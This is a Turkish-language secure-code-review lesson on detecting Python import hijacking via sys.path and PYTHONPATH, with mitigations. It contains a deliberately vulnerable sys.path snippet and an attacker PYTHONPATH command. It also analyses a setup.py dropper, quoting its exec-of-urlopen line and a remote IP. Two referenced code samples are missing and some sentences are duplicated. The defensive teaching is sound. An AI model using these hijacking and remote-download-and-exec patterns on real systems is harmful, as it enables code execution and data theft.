Skip to main content

Welcome to a Grasp lesson

Create a free account to keep studying and create your own study path.

Lesson 46

Python'da Import Hijacking Tespiti ve PYTHONPATH Manipülasyonu

Önceki dersimizde, kullanıcı girdisinin sunucu tarafında bir şablonun parçası olarak yorumlanmasıyla ortaya çıkan Sunucu Taraflı Şablon Enjeksiyonu (SSTI) zafiyetini derinlemesine inceledik. Python'da nesne hiyerarşisinde gezinerek veya tehlikeli fonksiyonları çağırarak Python çalışma zamanı (runtime) ortamını nasıl manipüle edebileceğimizi ve uzaktan komut çalıştırmaya (RCE) ulaşabileceğimizi gördük. Bu dersimizde, yine Python ekosisteminde kalarak, çalışma zamanı ortamını hedef alan daha örtük ve sofistike bir saldırı vektörünü ele alacağız: Import Hijacking.

Bu dersin amacı, Python'un modül yükleme mekanizmalarını ve PYTHONPATH'i manipüle ederek "import hijacking" gerçekleştirme yollarını kodda tespit etmektir. Bu teknik, bir uygulamanın standart veya üçüncü parti bir kütüphaneyi import etme girişimini ele geçirerek, bunun yerine saldırganın kontrolündeki kötü amaçlı bir kodu çalıştırmasına dayanır. Bu konu, otomatize araçların gözden kaçırabileceği, uygulamanın çalışma ortamı ve konfigürasyonuyla iç içe geçmiş mantıksal zafiyetleri bulma hedefinizle doğrudan uyumludur.

Python'un import Mekanizmasının Kalbi: sys.path

Bir Python yorumlayıcısı import requests gibi bir ifadeyle karşılaştığında, requests modülünü nerede bulacağını belirlemek için sistematik bir arama süreci başlatır. OSCP ve Python geliştirme tecrübenizden aşina olduğunuz bu süreç, güvenlik açısından kritik adımlar içerir. Arama sırası şöyledir:

  1. sys.modules: Python'un daha önce yüklenmiş modülleri tuttuğu önbellek (cache). Eğer requests zaten yüklenmişse, Python doğrudan buradan alır ve aramayı bitirir.
  2. Yerleşik (Built-in) Modüller: sys, os, itertools gibi doğrudan C ile yazılmış ve yorumlayıcıya gömülmüş modüller.
  3. sys.path: Arama yapılacak dizinlerin bir listesi. İşte zafiyetin kök nedeninin yattığı yer burasıdır. Python, bu listedeki her dizini sırayla kontrol eder ve requests.py (veya requests adlı bir paket) adında bir eşleşme bulduğu an aramayı durdurur ve o modülü yükler.

sys.path listesi tipik olarak şu kaynaklardan oluşturulur:

  • Çalıştırılan betiğin (script) bulunduğu dizin.
  • PYTHONPATH ortam değişkeninde belirtilen dizinler.
  • Python kurulumunun standart kütüphane dizinleri.
  • Üçüncü parti paketlerin kurulduğu site-packages dizini.

Buradaki en kritik nokta şudur: Sıralama önemlidir. sys.path listesinin başına bir dizin eklenirse, o dizindeki modüller, standart kütüphanedeki veya site-packages'daki aynı isimli modüllerden önce bulunur ve yüklenir. Import hijacking saldırısı, tam olarak bu mekanizmayı istismar eder.


Saldırı Vektörü 1: Kod İçinden sys.path Manipülasyonu

Bir kod denetçisi olarak aramanız gereken en bariz desen, uygulamanın kendi kodunun sys.path listesini güvensiz bir şekilde değiştirmesidir. Eğer bir uygulama, kullanıcıdan alınan, bir konfigürasyon dosyasından okunan veya ortamdan türetilen bir yolu sys.path listesinin başına eklerse, bir import hijacking zafiyeti için kapı aralanmış olur.

Teorik olarak zafiyetli bir kod parçası şöyle görünebilir:

import sys
import os

# plugin_dir, bir konfigürasyon dosyasından okunuyor veya bir HTTP isteğinden geliyor olsun.
plugin_dir = get_plugin_directory_from_user_config() 

# ZAFİYETLİ DESEN: Güvenilmeyen bir yol, arama yolunun başına ekleniyor.
sys.path.insert(0, plugin_dir) 

# Saldırgan, plugin_dir içine sahte bir 'requests.py' koyabilir.
import requests 

# Bu noktadan sonra, 'requests' modülüne yapılan tüm çağrılar 
# aslında saldırganın kodunu çalıştırır.
response = requests.get("https://api.example.com") 

Bu senaryoda saldırgan, plugin_dir olarak belirttiği yola requests.py adında kötü amaçlı bir dosya yerleştirerek, uygulamanın aslında standart requests kütüphanesi yerine kendi kodunu import etmesini sağlar.

Aşağıdaki kod örneği, bu tür bir manipülasyonun daha karmaşık ve gerçek hayata yakın bir versiyonunu göstermektedir.

Bu kod, `sys.path` üzerinde dolaşarak `site-packages` dizinini bulmaya çalışmakta ve ardından bu bilgiyi kullanarak `imp.load_source` ile dinamik olarak bir modül yüklemektedir. Bu, `sys.path`'in içeriğine örtük bir güven olduğunu gösterir.

Bu kod, sys.path üzerinde dolaşarak site-packages dizinini bulmaya çalışmakta ve ardından bu bilgiyi kullanarak imp.load_source ile dinamik olarak bir modül yüklemektedir. Bu, sys.path'in içeriğine örtük bir güven olduğunu gösterir.

Bu koddaki tehlike işaretlerini inceleyelim:

  • Dinamik Yol Keşfi: Kod, sys.path üzerinde döngüye girerek site-packages ile biten bir yol arıyor (if p.endswith("site-packages")). Bu, yolun sabit olmadığını ve çalışma zamanı ortamına bağlı olduğunu gösterir.
  • Örtük Güven: Eğer bir saldırgan, sys.path listesinin başına /tmp/fake-site-packages gibi sahte bir yol ekleyebilirse, bu kod döngüsü saldırganın dizinini gerçek site-packages dizininden önce bulacaktır.
  • Dinamik Modül Yükleme: imp.load_source(...) fonksiyonu, belirtilen yoldan bir kaynak kod dosyasını doğrudan modül olarak yükler. Bu fonksiyonun kendisi (ve genel olarak imp modülü) artık kullanımdan kaldırılmıştır (deprecated) ve başlı başına bir tehlike işaretidir; modern kodda importlib tercih edilmelidir. load_source'a verilen full_path değişkeninin değeri, manipüle edilmiş site_pkgs_dir üzerinden kontrol edilebilir hale gelir.

Bu örnekte, sys.path doğrudan insert ile değiştirilmese de, içeriğine güvenilerek yapılan dinamik bir işlem söz konusudur. Güvenli kod denetimi, sadece bariz sys.path.insert() çağrılarını değil, aynı zamanda sys.path'in içeriğini okuyup ona göre hareket eden bu tür örtük bağımlılıkları da tespit etmeyi gerektirir.


Saldırı Vektörü 2: PYTHONPATH Ortam Değişkeni

İkinci ve daha gizli saldırı vektörü, uygulamanın kodunda hiçbir değişiklik yapmadan, sadece çalıştırıldığı ortamı manipüle ederek gerçekleştirilir. Python, başlangıçta sys.path listesini oluştururken PYTHONPATH ortam değişkenindeki dizinleri listenin başına ekler.

Bu durum, uygulamanın çalıştığı süreci başlatan kullanıcının veya betiğin PYTHONPATH değişkenini ayarlama yetkisi varsa bir zafiyete yol açar. Örneğin, bir web sunucusu (örn. Gunicorn, uWSGI) veya bir CI/CD pipeline script'i, Python uygulamasını başlatırken ortam değişkenlerini ayarlıyorsa ve bu değişkenler bir şekilde saldırgan tarafından etkilenebiliyorsa, zafiyet ortaya çıkar.

Örnek saldırı komutu:

# Saldırgan, /home/attacker/malicious_lib dizinine sahte bir 'boto3.py' koyar.
# Ardından, uygulamayı bu ortam değişkeniyle başlatır.
export PYTHONPATH="/home/attacker/malicious_lib"
python /var/www/my_app/main.py

main.py içindeki herhangi bir import boto3 ifadesi, artık AWS SDK'sını değil, saldırganın kodunu yükleyecektir. Bu, özellikle paylaşımlı sunucu ortamlarında veya yanlış yapılandırılmış containerize edilmiş uygulamalarda ciddi bir risktir. DevSecOps mimarı olarak, bu tür zafiyetlerin sadece kodda değil, aynı zamanda uygulamanın dağıtım ve çalışma ortamının (runtime environment) güvenliğinde de yattığını takdir edersiniz.


İstismarın Sonucu: Kötü Amaçlı Yük (Payload)

Bir import ifadesi başarıyla ele geçirildiğinde saldırgan ne yapabilir? Olasılıklar sınırsızdır.

  • Kod Enjeksiyonu ve Komut Çalıştırma: En basit senaryoda, kötü amaçlı modül doğrudan os.system() veya subprocess.Popen gibi fonksiyonları çağırarak sunucuda komut çalıştırır.
  • Proxy Olarak Çalışma: Daha sinsi bir saldırgan, kendi kötü amaçlı kodunu çalıştırdıktan sonra, orijinal modülü de yükleyip çağrıları ona yönlendirebilir. Bu sayede uygulama normal şekilde çalışmaya devam ederken, saldırgan araya girerek verileri (API anahtarları, parolalar, kişisel bilgiler) çalabilir veya manipüle edebilir.
  • Dropper ve İkinci Aşama Yükleyici: Kötü amaçlı modül, internet üzerinden daha karmaşık bir zararlı yazılım indirip çalıştıran bir "damlalık" (dropper) görevi görebilir.

Aşağıdaki kod parçası, bir setup.py dosyası içinde gizlenmiş ve tam olarak bu "dropper" davranışını sergileyen bir zararlı yazılım örneğini göstermektedir. Bu, import hijacking yoluyla yüklenen bir modülün içeriğinin neye benzeyebileceğine dair mükemmel bir örnektir.

Bu kod, geçici dosyalar oluşturarak uzak bir sunucudan Python kodu indirip `exec()` ile çalıştırmaktadır. Bu, bir import hijacking saldırısının nihai etkisini gösteren klasik bir zararlı yazılım davranışıdır.

Bu kod, geçici dosyalar oluşturarak uzak bir sunucudan Python kodu indirip exec() ile çalıştırmaktadır. Bu, bir import hijacking saldırısının nihai etkisini gösteren klasik bir zararlı yazılım davranışıdır.

Bu kodu analiz edelim:

  • tempfile.NamedTemporaryFile(delete=False): Kapatıldıktan sonra silinmeyecek geçici dosyalar oluşturur. Bu, indirilen payload'ların kalıcı olmasını sağlar.
  • _ttmp.write(b"""..."""): Geçici dosyaya, kendisi de Python kodu olan bir byte dizisi yazar.
  • exec(_uurlopen('http://...').read()): Yazılan bu kodun içindeki en kritik kısım budur. urllib kullanarak belirtilen IP adresinden (20.226.18.203) ek kod indirir ve exec() fonksiyonuyla doğrudan bellekte çalıştırır. Bu, dosya sistemine daha az iz bırakarak tespiti zorlaştıran bir tekniktir.
  • _ssystem(f"start {...}"): Son olarak, oluşturduğu ve içine zararlı başlatıcıyı yazdığı bu geçici dosyaları çalıştırmaya çalışır. .replace('.exe', '.w.exe') ifadesi, Windows'ta Python betiğini konsol penceresi olmadan (pythonw.exe) sessizce çalıştırmak için kullanılan bir hiledir.

Gördüğünüz gibi, masum görünen bir import ifadesi, bu karmaşık ve çok aşamalı saldırı zincirini tetikleyebilir.


Kod Denetimi ve Önlemler

Güvenli kod denetimi yaparken import hijacking riskini değerlendirmek için şu kırmızı bayraklara dikkat etmelisiniz:

  • sys.path Manipülasyonu: sys.path.insert(), sys.path.append() gibi sys.path'i doğrudan değiştiren tüm çağrılar. Özellikle bu çağrılarda kullanılan yolların kaynağı (kullanıcı girdisi, konfigürasyon, ortam değişkeni) incelenmelidir.
  • Dinamik Modül Yükleme: imp veya importlib modüllerinin dinamik yollarla (load_source, spec_from_file_location) modül yüklemek için kullanıldığı yerler.
  • Ortam Değişkenlerine Güven: os.getenv() ile PYTHONPATH gibi kritik ortam değişkenlerini okuyup bunları dosya yollarında kullanan kodlar.
  • Güvensiz Dağıtım Betikleri: Uygulamayı başlatan shell betiklerinin (.sh, .bat) veya CI/CD pipeline tanımlarının (Jenkinsfile, gitlab-ci.yml) PYTHONPATH'i nasıl ayarladığını kontrol etmek, kod denetiminin bir parçası olmalıdır.

Azaltım Stratejileri:

  1. sys.path'i Değiştirmekten Kaçının: Mümkün olan her durumda sys.path manipülasyonundan kaçının. Gerekliyse, eklenen yolların sabit (hardcoded) ve güvenilir olduğundan emin olun.
  2. Mutlak İçe Aktarmalar (Absolute Imports): Proje içi modüllerde, belirsizliği önlemek için her zaman from my_project.utils import helper gibi mutlak yolları tercih edin.
  3. İzole Ortamlar ve Ortam Değişkeni Temizliği: Uygulamaları her zaman container gibi izole ortamlarda çalıştırın. Uygulamanın ortamına yalnızca gerekli olan değişkenlerin aktarıldığından emin olun ve PYTHONPATH gibi tehlikeli olabilecek değişkenleri temizleyin veya sıkı bir şekilde kontrol edin.
  4. Bağımlılık Bütünlüğü: pip'in hash-checking modunu kullanarak (pip install -r requirements.txt --require-hashes) bağımlılıklarınızın bütünlüğünü doğrulayın. Bu, import hijacking'i doğrudan engellemese de, tedarik zinciri güvenliğinizi artırır ve kötü amaçlı paketlerin sisteminize girmesini zorlaştırır.

Özet ve Sonraki Adımlar

Bu dersimizde Python'un temel bir özelliği olan modül yükleme sisteminin, nasıl bir güvenlik zafiyetine dönüşebileceğini gördük.

Anahtar Çıkarımlar:

  • Import hijacking, Python'un sys.path arama sırasını manipüle ederek, hedeflenen bir modül yerine kötü amaçlı bir modülün yüklenmesini sağlar.
  • Saldırı, kod içinden sys.path'in değiştirilmesiyle veya uygulamanın çalışma ortamındaki PYTHONPATH değişkeni üzerinden gerçekleştirilebilir.
  • Bu zafiyetin istismarı, basit bir komut çalıştırmadan, araya girerek veri çalmaya ve çok aşamalı zararlı yazılımlar yüklemeye kadar varabilir.
  • Kod denetçileri sadece bariz sys.path manipülasyonlarını değil, aynı zamanda çalışma ortamının güvenliğini ve dinamik modül yükleyen örtük desenleri de analiz etmelidir.

Python'daki dinamik dil tuzaklarını incelediğimiz bu bölümü tamamladık. Önceki derslerde JavaScript ve Python'a özgü çeşitli zafiyetleri ele aldık. Bir sonraki modülde, rotamızı statik tipli dillerin dünyasına çevireceğiz ve son yılların en etkili zafiyetlerinden biriyle başlayacağız: Java kodunda JNDI enjeksiyonu zafiyetlerini Log4j, RMI ve LDAP bağlamlarında tespit etmek. Bu geçiş, farklı programlama paradigmalarının ve ekosistemlerinin kendilerine özgü güvenlik zorluklarını nasıl ortaya çıkardığını görmenizi sağlayacak.